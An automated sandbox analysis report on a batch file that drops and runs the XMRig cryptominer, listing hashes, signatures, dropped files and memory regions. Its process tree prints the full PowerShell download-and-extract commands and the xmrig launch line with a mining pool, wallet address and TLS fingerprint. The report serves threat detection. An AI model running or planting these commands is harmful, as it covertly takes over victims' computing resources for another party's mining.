Analysis

  • max time kernel
    1803s
  • max time network
    1816s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/12/2023, 23:02

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4804
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2168

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    29a1c5d42eb8fd2ae792d0b4f883bca3

    SHA1

    2eb066f339690234c2d17f868c5ec2b3ec34d9ba

    SHA256

    deedc7361394f1b15199c751375b9890f025ccdfacc409845bb64ede92fdd973

    SHA512

    99a3ff639f74b90d780ffedf85c334a365f5959f1a2d3c3c939d697be0d29c608e04bb468e157b21e550ade3665b26319cc44384d28221ac4d6a9ef2636b9078

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t5gvkrxu.r04.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    631KB

    MD5

    4c208056800fe22c51562e333ebd5117

    SHA1

    4c4e0652ee74bcbd82de0d44e02054265cb8b4c6

    SHA256

    abed7d33a79d934958091b7f61d1a0127f7aacf176a62fc658ef00d303a7f251

    SHA512

    09d00ab344daa3b1aea2a3318de371f92a89447a74b44c15fd96a7d11f65dcdb895396ef6870b2b2bfbd4f7460f06c90c53ccb065595728e3409f3ed2df52ca2

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    992KB

    MD5

    ccc1fcfb513adabdb2f02fc50cb38e11

    SHA1

    4ab81f7452fd0c6e74c8f6b79d08044c4cf84ffb

    SHA256

    d03ae352f8cb01ca92d425cf2e3cb5adb55124c0053d0329932c3f384b289be8

    SHA512

    15d137c43dd5d0bd368236a88ef9eb1748a0ccb14be91e877a399943882555a998af8530bd179fa9fac8c03ccf6e9377027ff737a85dc2763b29d07ef5a5cee2

  • memory/2168-142-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-170-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-184-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-183-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-182-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-181-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-180-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-179-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-178-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-177-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-176-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-175-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-174-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-116-0x000002114A7E0000-0x000002114A800000-memory.dmp

    Filesize

    128KB

  • memory/2168-117-0x000002114C0F0000-0x000002114C130000-memory.dmp

    Filesize

    256KB

  • memory/2168-118-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-119-0x000002114C130000-0x000002114C150000-memory.dmp

    Filesize

    128KB

  • memory/2168-120-0x000002114C150000-0x000002114C170000-memory.dmp

    Filesize

    128KB

  • memory/2168-121-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-122-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-123-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-124-0x000002114C130000-0x000002114C150000-memory.dmp

    Filesize

    128KB

  • memory/2168-125-0x000002114C150000-0x000002114C170000-memory.dmp

    Filesize

    128KB

  • memory/2168-126-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-127-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-128-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-129-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-130-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-131-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-132-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-133-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-134-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-135-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-136-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-137-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-138-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-139-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-140-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-141-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-173-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-172-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-145-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-143-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-146-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-147-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-148-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-149-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-150-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-151-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-152-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-153-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-154-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-155-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-156-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-157-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-158-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-159-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-160-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-161-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-162-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-163-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-164-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-165-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-166-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-167-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-168-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-169-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-144-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2168-171-0x00007FF78EDD0000-0x00007FF78F8D3000-memory.dmp

    Filesize

    11.0MB

  • memory/4776-30-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/4776-4-0x0000025CE1D40000-0x0000025CE1D62000-memory.dmp

    Filesize

    136KB

  • memory/4776-6-0x0000025CE1DD0000-0x0000025CE1DE0000-memory.dmp

    Filesize

    64KB

  • memory/4776-7-0x0000025CE1DD0000-0x0000025CE1DE0000-memory.dmp

    Filesize

    64KB

  • memory/4776-10-0x0000025CE1F60000-0x0000025CE1FD6000-memory.dmp

    Filesize

    472KB

  • memory/4776-5-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/4776-25-0x0000025CE1DD0000-0x0000025CE1DE0000-memory.dmp

    Filesize

    64KB

  • memory/4804-76-0x000002BEF3C60000-0x000002BEF3C72000-memory.dmp

    Filesize

    72KB

  • memory/4804-41-0x000002BEF39E0000-0x000002BEF39F0000-memory.dmp

    Filesize

    64KB

  • memory/4804-39-0x000002BEF39E0000-0x000002BEF39F0000-memory.dmp

    Filesize

    64KB

  • memory/4804-62-0x000002BEF39E0000-0x000002BEF39F0000-memory.dmp

    Filesize

    64KB

  • memory/4804-37-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/4804-89-0x000002BEF3850000-0x000002BEF385A000-memory.dmp

    Filesize

    40KB

  • memory/4804-113-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB